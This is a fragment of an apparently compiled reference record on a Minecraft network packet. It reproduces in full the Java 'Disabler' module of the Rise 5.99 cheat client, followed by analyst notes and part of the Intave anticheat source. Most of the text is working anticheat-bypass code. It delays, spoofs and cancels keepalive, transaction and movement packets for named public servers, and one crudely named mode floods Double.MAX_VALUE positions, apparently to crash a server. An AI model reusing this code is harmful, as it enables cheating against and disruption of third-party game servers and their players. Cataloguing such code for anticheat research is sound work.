@Override\n    protected void onDisable() {\n        packetList.forEach(PacketUtil::sendPacketWithoutEvent);\n        packetList.clear();\n        spoofing = false;\n\n        packetList2.forEach(PacketUtil::sendPacketWithoutEvent);\n        packetList2.clear();\n\n        transactions.clear();\n        keepAlives.clear();\n\n        packetHashMap.clear();\n\n        mc.timer.timerSpeed = 1;\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.isIntegratedServerRunning())\n            return;\n\n        if (hypixel.isEnabled() && PlayerUtil.isOnServer(\"Hypixel\")) {\n            spoofing = true;\n            for (final PacketUtil.TimedPacket p : packets) {\n                if (System.currentTimeMillis() > p.getTime() + currentDelay) {\n                    PacketUtil.sendPacketWithoutEvent(p.getPacket());\n                    packets.remove(p);\n                    this.currentDelay = Math.round(MathUtil.getRandom(200,250));\n                }\n            }\n        }\n\n\n        if (verusOld.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C0CPacketInput());\n            PacketUtil.sendPacketWithoutEvent(new C18PacketSpectate(UUID.randomUUID()));\n        }\n\n        if (blocksMC.isEnabled()) {\n            if (mc.thePlayer.ticksExisted % 100 == 0) {\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.onGround));\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, -0.015625, mc.thePlayer.posZ, false));\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.onGround));\n\n                teleported = true;\n            }\n\n            if (timer.hasReached(500L) && !transactions.isEmpty()) {\n                PacketUtil.sendPacketWithoutEvent(transactions.poll());\n\n                timer.reset();\n            }\n\n            if (timer.hasReached(400L) && !keepAlives.isEmpty()) {\n                PacketUtil.sendPacketWithoutEvent(keepAlives.poll());\n\n                timer.reset();\n            }\n        }\n\n        if (hypixelSlime.isEnabled() && mc.thePlayer.capabilities.allowFlying) {\n            if (PlayerUtil.isOnServer(\"Hypixel\")) {\n                final PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n                playerCapabilities.isFlying = true;\n                PacketUtil.sendPacket(new C13PacketPlayerAbilities(playerCapabilities));\n            } else\n                PacketUtil.sendPacket(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.RIDING_JUMP));\n        }\n\n        if (vulcanCombat.isEnabled()) {\n            if (timer.hasReached((long) (5000 + (Math.random() * 1000)))) {\n                packetList2.forEach(PacketUtil::sendPacketWithoutEvent);\n                packetList2.clear();\n                timer.reset();\n            }\n        }\n\n        if (sentinel.isEnabled()) {\n            for (final Iterator<Map.Entry<Packet<?>, Long>> iterator = packetHashMap.entrySet().iterator(); iterator.hasNext(); ) {\n                final Map.Entry<Packet<?>, Long> entry = iterator.next();\n\n                if (entry.getValue() < System.currentTimeMillis()) {\n                    PacketUtil.sendPacket(entry.getKey());\n                    iterator.remove();\n                }\n            }\n        }\n\n        if (mmcReach.isEnabled()) {\n            if (timer.hasReached((long) (500 + (Math.random() * 600)))) {\n                packetList.forEach(PacketUtil::sendPacketWithoutEvent);\n                packetList.clear();\n                timer.reset();\n            }\n        }\n\n        if (oxygen.isEnabled() && mc.thePlayer.onGround) {\n            event.setY(event.getY() + 0.42F);\n            event.setGround(false);\n        }\n\n        if (voidTp.isEnabled() && mc.thePlayer.ticksExisted % 20 == 0)\n            event.setY(event.getY() - 20 - Math.random());\n\n        if (clip.isEnabled()) {\n            if (mc.thePlayer.ticksExisted % 20 == 0) {\n                event.setY(event.getY() - 0.42);\n                event.setGround(false);\n            }\n        }\n\n        if (coc.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C0CPacketInput(0.98F, 0.0F, false, false));\n        }\n\n        if (c08.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C08PacketPlayerBlockPlacement(mc.thePlayer.getHeldItem()));\n        }\n\n        if (c13.isEnabled() || shartemis.isEnabled()) {\n            final C13PacketPlayerAbilities abilities = new C13PacketPlayerAbilities();\n\n            abilities.setAllowFlying(true);\n            abilities.setFlying(true);\n\n            PacketUtil.sendPacketWithoutEvent(abilities);\n        }\n\n        if (c16.isEnabled() || shartemis.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C16PacketClientStatus(C16PacketClientStatus.EnumState.PERFORM_RESPAWN));\n        }\n\n        if (c18.isEnabled() || shartemis.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C18PacketSpectate(mc.thePlayer.getUniqueID()));\n        }\n\n        if (c19.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C19PacketResourcePackStatus(\"\", C19PacketResourcePackStatus.Action.ACCEPTED));\n        }\n\n        if (tecnioRaper.isEnabled()) {\n            for (int i = 0; i < 10; i++) {\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(\n                        mc.thePlayer.posX, mc.thePlayer.posY, Double.MAX_VALUE, 0.0F, 0.0F, true\n                ));\n            }\n\n            for (int i = 0; i < 40; i++) {\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(\n                        Double.MAX_VALUE, mc.thePlayer.posY, mc.thePlayer.posZ, 0.0F, 0.0F, true\n                ));\n            }\n\n            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer(true));\n            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer(true));\n\n            tecnioRaper.setEnabled(false);\n        }\n\n        if (funnyCraft.isEnabled()) {\n            if (mc.thePlayer.ticksExisted % 4 == 0) {\n                PacketUtil.sendPacketWithoutEvent(new C0CPacketInput(Float.MAX_VALUE, Float.MAX_VALUE, false, false));\n            }\n        }\n    }\n\n    @Override\n    public void onTeleportEvent(final TeleportEvent event) {\n        if (blocksMC.isEnabled()) {\n            if (teleported) {\n                event.setCancelled(true);\n            }\n\n            teleported = false;\n        }\n        if(hypixel.isEnabled() && PlayerUtil.isOnServer(\"Hypixel\")){\n            if (mc.thePlayer.ticksExisted < 100) {\n                event.setCancelled(true);\n                return;\n            }\n\n            this.ticksSinceTeleport = 0;\n        }\n\n//        if (mc.thePlayer.getDistance(event.getPosX(), event.getPosY(), event.getPosZ()) <= 9.5) {\n//            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(event.getPosX(), event.getPosY(), event.getPosZ(), event.getYaw(), event.getPitch(), false));\n//            event.setCancelled(true);\n//        }\n//        teleported = false;\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (mc.isIntegratedServerRunning()) return;\n\n        final Packet<?> p = event.getPacket();\n\n        if (hypixel.isEnabled()) {\n            final Packet<?> packet = event.getPacket();\n\n            if (packet instanceof S08PacketPlayerPosLook) {\n                nextSend = 0;\n            }\n        }\n\n        if (hypixelSlime.isEnabled()) {\n            if (p instanceof S02PacketChat) {\n                final S02PacketChat chatMessage = (S02PacketChat) event.getPacket();\n                if (chatMessage.getType() == 2 && chatMessage.getChatComponent().getUnformattedText().contains(\"UNAVAILABLE\")) {\n                    chatMessage.chatComponent = new ChatComponentText(\"§aDOUBLE JUMP AVAILABLE§r\");\n                }\n            }\n\n            if (p instanceof S29PacketSoundEffect) {\n                final S29PacketSoundEffect packetSoundEffect = (S29PacketSoundEffect) event.getPacket();\n                if (packetSoundEffect.getSoundName().equals(\"mob.slime.big\")) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (p instanceof S2APacketParticles) {\n                final S2APacketParticles particle = (S2APacketParticles) event.getPacket();\n                if (particle.getParticleType() == EnumParticleTypes.SLIME) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (p instanceof S1FPacketSetExperience) {\n                event.setCancelled(true);\n            }\n        }\n\n        if (verus.isEnabled()) {\n            if (p instanceof S08PacketPlayerPosLook && timer.hasReached(1000)) {\n                final S08PacketPlayerPosLook packet = (S08PacketPlayerPosLook) p;\n                if (mc.thePlayer.getDistanceSq(packet.x, packet.y, packet.z) <= 9.5) {\n                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(packet.x, packet.y, packet.z, packet.yaw, packet.pitch, false));\n                    event.setCancelled(true);\n                }\n                teleported = false;\n                timer.reset();\n            }\n        }\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (mc.isIntegratedServerRunning())\n            return;\n\n        final Packet<?> packet = event.getPacket();\n\n        if (hypixel.isEnabled() && PlayerUtil.isOnServer(\"Hypixel\")) {\n\n            if (packet instanceof C03PacketPlayer) {\n                final C03PacketPlayer wrapper = (C03PacketPlayer) packet;\n\n                if (wrapper instanceof C03PacketPlayer.C06PacketPlayerPosLook && ticksSinceTeleport <= 50 && mc.thePlayer.sendQueue.doneLoadingTerrain) {\n                    event.setPacket(new C03PacketPlayer.C04PacketPlayerPosition(wrapper.x + Double.MIN_NORMAL, wrapper.y, wrapper.z - Double.MIN_NORMAL, ((C03PacketPlayer.C06PacketPlayerPosLook) wrapper).isOnGround()));\n                }\n            }\n\n            ticksSinceTeleport++;\n            if (mc.thePlayer == null || !mc.thePlayer.sendQueue.doneLoadingTerrain) {\n                packets.clear();\n                return;\n            }\n\n            if (mc.thePlayer.isDead || mc.isSingleplayer()) {\n                packets.forEach(p -> PacketUtil.sendPacketWithoutEvent(p.getPacket()));\n                packets.clear();\n                return;\n            }\n\n\n            if (spoofing) {\n                if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive) {\n                    packets.add(new PacketUtil.TimedPacket(packet, System.currentTimeMillis()));\n                    event.setCancelled(true);\n                }\n            } else if (packet instanceof C03PacketPlayer) {\n                packets.forEach(p -> PacketUtil.sendPacketWithoutEvent(p.getPacket()));\n                packets.clear();\n            }\n        }\n\n        if (vulcanCombat.isEnabled() && packet instanceof C0FPacketConfirmTransaction) {\n            packetList2.add(packet);\n            event.setCancelled(true);\n        }\n\n        if (mineland.isEnabled()) {\n            if (event.getPacket() instanceof C03PacketPlayer && !mc.thePlayer.isSwingInProgress && !mc.thePlayer.isUsingItem() && !((C03PacketPlayer) event.getPacket()).isMoving()) {\n                event.setCancelled(true);\n            }\n        }\n\n        if (blocksMC.isEnabled()) {\n\n            if (packet instanceof C0FPacketConfirmTransaction) {\n                transactions.add(packet);\n                event.setCancelled(true);\n\n                if (transactions.size() > 300) {\n                    PacketUtil.sendPacketWithoutEvent(transactions.poll());\n                }\n            }\n\n            if (packet instanceof C00PacketKeepAlive) {\n                final C00PacketKeepAlive c00 = (C00PacketKeepAlive) packet;\n\n                c00.key -= 30;\n                keepAlives.add(c00);\n                event.setCancelled(true);\n            }\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (mc.thePlayer.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        mc.thePlayer.serverSprintState = false;\n                    }\n\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (packet instanceof C03PacketPlayer && !mc.thePlayer.isSwingInProgress &&\n                    !mc.thePlayer.isUsingItem() && !((C03PacketPlayer) packet).isMoving()) {\n                event.setCancelled(true);\n            }\n        }\n\n        if (verus.isEnabled()) {\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (packet instanceof C00PacketKeepAlive) {\n                final C00PacketKeepAlive c00 = (C00PacketKeepAlive) packet;\n                c00.key = -c00.key;\n            }\n\n            if (packet instanceof C03PacketPlayer) {\n                final C03PacketPlayer c03 = (C03PacketPlayer) packet;\n\n                mc.timer.timerSpeed = 0.75F;\n\n                if (c03.y % 0.015625 == 0)\n                    c03.setOnGround(true);\n\n                if (timer.hasReached(1000) && !teleported) {\n                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition());\n                    teleported = true;\n                }\n\n                if (mc.thePlayer.ticksExisted % 100 == 0)\n                    teleported = false;\n            }\n        }\n\n        if (verusCombat.isEnabled() && mc.thePlayer.ticksExisted > 20 && !mc.thePlayer.capabilities.allowFlying) {\n            if (packet instanceof C0FPacketConfirmTransaction)\n                event.setCancelled(true);\n        }\n\n        if (position.isEnabled() && packet instanceof C03PacketPlayer) {\n            final C03PacketPlayer c03 = (C03PacketPlayer) event.getPacket();\n            c03.setY(c03.getY() + 0.015625);\n        }\n\n        if (ghostly.isEnabled()) {\n            if (packet instanceof C03PacketPlayer) {\n                PacketUtil.sendPacketWithoutEvent(new C0CPacketInput());\n\n                C03PacketPlayer c03PacketPlayer = ((C03PacketPlayer) packet);\n                double mathGround = Math.round(c03PacketPlayer.y / 0.015625) * 0.015625;\n\n                c03PacketPlayer.y = mathGround;\n                c03PacketPlayer.setOnGround(true);\n                event.setPacket(c03PacketPlayer);\n            }\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n        }\n\n        if (dynamicPvP.isEnabled()) {\n            if (packet instanceof C03PacketPlayer) {\n                if (mc.thePlayer.ticksExisted % 3 == 0)\n                    event.setCancelled(true);\n\n                final C03PacketPlayer packetPlayer = (C03PacketPlayer) event.getPacket();\n                double x = mc.thePlayer.posX, y = mc.thePlayer.posY, z = mc.thePlayer.posZ;\n\n                if (packetPlayer.isMoving()) {\n                    x = packetPlayer.getPositionX();\n                    y = packetPlayer.getPositionY();\n                    z = packetPlayer.getPositionZ();\n                }\n\n                if (mc.thePlayer.ticksExisted % 20 == 0)\n                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, packetPlayer.isOnGround()));\n\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(x, y, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, packetPlayer.isOnGround()));\n            }\n\n            if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive)\n                event.setCancelled(true);\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n        }\n\n        if (spartan.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, 91, mc.thePlayer.onGround));\n        }\n\n        if (sentinel.isEnabled()) {\n            if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive) {\n//                packetHashMap.put(p, System.currentTimeMillis() + RandomUtils.nextLong(15000, 25000));\n                event.setCancelled(true);\n            }\n\n            if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition) {\n                final C03PacketPlayer.C04PacketPlayerPosition packetPlayerPosition = (C03PacketPlayer.C04PacketPlayerPosition) packet;\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), mc.thePlayer.rotationYaw + (mc.thePlayer.ticksExisted % 2 == 0 ? RandomUtils.nextFloat(0.05F, 0.1F) : -RandomUtils.nextFloat(0.05F, 0.1F)), mc.thePlayer.rotationPitch, packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (c0f.isEnabled() || shartemis.isEnabled()) {\n            if (packet instanceof C0FPacketConfirmTransaction)\n                event.setCancelled(true);\n        }\n\n        if (c00.isEnabled()) {\n            if (packet instanceof C00PacketKeepAlive)\n                event.setCancelled(true);\n        }\n\n        if (lunar.isEnabled()) {\n            if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive)\n                event.setCancelled(true);\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition) {\n                final C03PacketPlayer.C04PacketPlayerPosition packetPlayerPosition = (C03PacketPlayer.C04PacketPlayerPosition) packet;\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), mc.thePlayer.rotationYaw + (mc.thePlayer.ticksExisted % 2 == 0 ? RandomUtils.nextFloat(0.05F, 0.1F) : -RandomUtils.nextFloat(0.05F, 0.1F)), mc.thePlayer.rotationPitch, packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (reverseConvertMovingPackets.isEnabled()) {\n            if (packet instanceof C03PacketPlayer.C06PacketPlayerPosLook) {\n                final C03PacketPlayer.C06PacketPlayerPosLook packetPlayerPosition = (C03PacketPlayer.C06PacketPlayerPosLook) packet;\n                event.setPacket(new C03PacketPlayer.C04PacketPlayerPosition(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (convertMovingPackets.isEnabled()) {\n            if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition) {\n                final C03PacketPlayer.C04PacketPlayerPosition packetPlayerPosition = (C03PacketPlayer.C04PacketPlayerPosition) packet;\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), mc.thePlayer.rotationYaw + (mc.thePlayer.ticksExisted % 2 == 0 ? RandomUtils.nextFloat(0.05F, 0.1F) : -RandomUtils.nextFloat(0.05F, 0.1F)), mc.thePlayer.rotationPitch, packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (mmcKeepSprint.isEnabled()) {\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n        }\n\n        if (mmcReach.isEnabled() && (PlayerUtil.isOnServer(\"minemen\") || PlayerUtil.isOnServer(\"mineman\"))) {\n            if (packet instanceof C0FPacketConfirmTransaction) {\n                event.setCancelled(true);\n            }\n        }\n    }\n\n    @Override\n    public void onStrafe(final StrafeEvent event) {\n        if (mineland.isEnabled()) {\n            PacketUtil.sendPacket(new C18PacketSpectate(UUID.randomUUID()));\n        }\n    }\n\n    @Override\n    public void onWorldChanged(final WorldChangedEvent event) {\n    }\n\n}\n// NOTE (AI): The S1FPacketSetExperience hit lives in the Hypixel Slime mode of\n// this disabler (line ~391 in onPacketReceive). The mode cancels the XP sync\n// packet together with the slime sound (S29PacketSoundEffect \"mob.slime.big\")\n// and slime particle (S2APacketParticles SLIME) packets and a chat rewrite, as\n// part of a state-freeze bypass for the Hypixel Slime minigame. The rest of the\n// file is kept verbatim because the schema requires the full file; it shows the\n// full mode matrix (Hypixel, Mineland, MMC, Dynamic PvP, Ghostly, Lunar, Verus,\n// Spartan, BlocksMC, Sentinel, Funcraft) of the Rise 5.99 disabler.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Disabler.java",
      "vanilla_hook": "PacketReceiveEvent (onPacketReceive); the module also uses PreMotionEvent, TeleportEvent, AttackEvent, StrafeEvent, PacketSendEvent and WorldChangedEvent.",
      "anti_cheat_notes": "Low risk: the server never sees a response to S1F and XP is never echoed, so the cancel is indistinguishable from packet loss. The visible side effect is a frozen XP bar in the HUD.",
      "variations": "Rise 6.1.30 and 6.2.4 ship their own exploit/Disabler.java but the corpus shows no S1F reference in it; those versions only touch S1F through NetworkAPI's script registration. No other reference client has any S1F module hit."
     }
    ],
    "general_hooks": "PacketReceiveEvent on Rise 5.99. The single real module hit for this packet is a cancel inside a multi-mode disabler, not a dedicated XP module.",
    "client_variations": "Rise 5.99 uses a boolean-toggle mode matrix inside one Disabler class. Rise 6.x replaces the module structure entirely (component system) and only lists the packet in NetworkAPI.",
    "related": [
     "S11PacketSpawnExperienceOrb",
     "S06PacketUpdateHealth",
     "S1DPacketEntityEffect"
    ],
    "anticheat": {
     "overview": "The experience packet has no detection story. The corpus shows one functional use: Intave writes S1F itself as a telemetry channel, packing ping and simulation data into the level field, and Artemis registers a PacketPlayServerExperience interface in its wrapper tree. The other hits are incidental: Negativity lists the packet in a type enum, NCP prints the player's exp in an admin inspect command, and the Photon hit is a keyword collision with SPAWN_EXPERIENCE_ORB (S11), not S1F. No anticheat reads S1F to detect anything.",
     "checks": [
      {
       "name": "Experience telemetry channel (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Reuse the experience packet as a covert data channel: Intave sends S1F with the level field packed with telemetry instead of real XP.",
       "how_it_works": "sendPacketWithExperience builds an EXPERIENCE packet with progress 0 and total XP 0, writes the level field to a packed value, and sends it to the player. ConnectionMetadata encodes ping averages (ping times 1000 plus short ping) when LATENCY_PING_AS_XP_LEVEL is on; Physics.java sends the simulation rate limiter counter; StorageLoader replays a storage tag as a recurring level set.",
       "detects": "Nothing. This is the only functional S1F usage in the corpus and it is outbound telemetry, not detection.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/user/meta/ConnectionMetadata.java =====\npackage de.jpx3.intave.user.meta;\n\nimport com.comphenix.protocol.PacketType;\nimport com.comphenix.protocol.ProtocolLibrary;\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.google.common.collect.Lists;\nimport com.google.common.collect.Maps;\nimport com.google.gson.JsonObject;\nimport de.jpx3.intave.IntaveControl;\nimport de.jpx3.intave.annotate.DispatchTarget;\nimport de.jpx3.intave.annotate.Nullable;\nimport de.jpx3.intave.executor.RateLimiter;\nimport de.jpx3.intave.math.Occurrences;\nimport de.jpx3.intave.module.feedback.DelayedPacket;\nimport de.jpx3.intave.module.feedback.FeedbackQueue;\nimport de.jpx3.intave.module.feedback.FeedbackRequest;\nimport de.jpx3.intave.module.feedback.PendingCountingFeedbackObserver;\nimport de.jpx3.intave.module.tracker.entity.Entity;\nimport de.jpx3.intave.packet.PacketSender;\nimport org.bukkit.entity.Player;\n\nimport java.util.*;\nimport java.util.concurrent.CopyOnWriteArrayList;\nimport java.util.concurrent.DelayQueue;\nimport java.util.concurrent.ThreadLocalRandom;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.locks.ReentrantLock;\n\npublic final class ConnectionMetadata {\n  private final Player player;\n  private final FeedbackQueue feedbackQueue = new FeedbackQueue();\n  public final ReentrantLock feedbackLock = new ReentrantLock();\n  private final Map<Long, Queue<FeedbackRequest<?>>> transactionOptionalAppendMap = Maps.newConcurrentMap();\n  private final Map<Integer, Entity> entitiesById = Maps.newConcurrentMap();\n  private final Map<Integer, Integer> entityVehicles = Maps.newConcurrentMap();\n  private final Map<Integer, Set<Integer>> entityMounts = Maps.newConcurrentMap();\n\n  private final Set<Integer> entityIds = new HashSet<>();\n  private final List<Entity> synchronizedEntities = Lists.newCopyOnWriteArrayList();\n  public PendingCountingFeedbackObserver pendingBlockUpdates;\n  private List<Entity> tickedEntities = new CopyOnWriteArrayList<>();\n  private final Map<Long, Long> remainingPingPacketTimestamps = Maps.newConcurrentMap();\n  private final List<Long> latencyDifferenceBalance = Lists.newCopyOnWriteArrayList();\n\n  // not used\n  private final Map<Integer, Integer> localEntityIdsToGlobalIds = Maps.newConcurrentMap();\n  private final Map<Integer, Integer> globalEntityIdsToLocalIds = Maps.newConcurrentMap();\n  private final Set<Integer> globalEntityIdsForRemoval = new HashSet<>();\n\n  public final Queue<Runnable> nextFeedbackSubscribers = new LinkedList<>();\n\n  public final Map<Integer, Integer> duplicationOwners = new HashMap<>();\n  public final Map<Integer, DecoySide> decoySides = new HashMap<>();\n  public final Set<Integer> duplicatedEntityIds = new HashSet<>();\n  public final Set<Integer> shouldNotBeAttacked = new HashSet<>();\n  @Deprecated\n  public boolean markAttackInvalid;\n\n  public boolean debugEntityTracing = false;\n\n  public RateLimiter refreshBlockRatelimit = new RateLimiter(400, 2, TimeUnit.SECONDS);\n\n  public final Random feedbackUserKeyRandom = new Random();\n  public int lastFeedbackUserKey = Integer.MIN_VALUE;\n  public int generatorRunningNum = 0;\n\n  public int simulatedBlockAckNum;\n\n  public int windowClickId;\n  public int transactionKeepAliveInvalidOrderVL;\n\n  public enum DecoySide {\n    FIRST_IS_DECOY,\n    SECOND_IS_DECOY,\n  }\n\n//  private final Set<Integer> takenLocalEntityIds = new HashSet<>();\n  private int localEntityIdCounter = 1;\n  public long lastCCCInfoMessageSent = 0;\n  public boolean sendAsyncMessage = false;\n  public boolean eligibleForTransactionTimeout = false;\n  public int speculativeMovementTicks = 0;\n  public int randomTransactionIdShift = ThreadLocalRandom.current().nextInt(1, 2000);\n  public int attacksQueued;\n  public long lastAttackQueueRequest;\n\n  private final Deque<Object> bufferEnqueue = new ArrayDeque<>(8500);\n  private final DelayQueue<DelayedPacket> delayQueue = new DelayQueue<>();\n  public long lastBufferNotification = 0;\n  public long lastDelayNotification = 0;\n  public long lastDelaySlot = 0;\n  public long lastBufferEnqueue = 0;\n  public long timestampRequiredForAttack = 0;\n  public boolean ignorePacketEnqueue;\n  public long delayedPackets = 0;\n  public long lastDelayRequest = 0;\n  public long blinkDeactivated = 0;\n  public long lastRespawn = 0;\n  public long firstEnqueue = 0;\n  public boolean lastBlinkState = false;\n\n  // Client Synchronization\n  public int latency;\n  public long lastKeepAliveDifference;\n  public int latencyJitter;\n  public long transactionNumCounter = 0;\n  public long lastReceivedTransactionNum = -1;\n  public long lastSynchronization = System.nanoTime();\n  public long transactionPacketCounter;\n  public long transactionPacketCounterReset;\n\n  public long feedbackFaults = 0;\n\n  public int nextWindowOpenSlots = 0;\n  public boolean assumeWindowOpen = false;\n\n  // Lag identification\n  private long lastMovementTimestamps;\n  private final List<Long> movementLagSpikeHistory = new ArrayList<>();\n\n  private static final long DELAY_PURGE_INTERVAL = 1000 * 60;\n  public final Occurrences<Integer> attackDelays = new Occurrences<>(DELAY_PURGE_INTERVAL);\n  public final Occurrences<Integer> feedbackDelays = new Occurrences<>(DELAY_PURGE_INTERVAL);\n\n  // labymod data\n  public JsonObject labyModData = new JsonObject();\n\n  public ConnectionMetadata(Player player) {\n    this.player = player;\n\n    this.globalEntityIdsToLocalIds.put(-1, -1);\n    this.localEntityIdsToGlobalIds.put(-1, -1);\n    this.globalEntityIdsToLocalIds.put(0, 0);\n    this.localEntityIdsToGlobalIds.put(0, 0);\n    if (player != null) {\n      int entityId = player.getEntityId();\n      this.globalEntityIdsToLocalIds.put(entityId, entityId);\n      this.localEntityIdsToGlobalIds.put(entityId, entityId);\n    }\n  }\n\n  @DispatchTarget\n  public void receiveMovement() {\n    long now = System.currentTimeMillis();\n    if (this.lastMovementTimestamps != 0) {\n      long difference = now - lastMovementTimestamps;\n      movementLagSpikeHistory.add(difference);\n      if (movementLagSpikeHistory.size() > 3) {\n        movementLagSpikeHistory.remove(0);\n      }\n    }\n    this.lastMovementTimestamps = now;\n  }\n\n  public long lastMovementPacket() {\n    return lastMovementTimestamps;\n  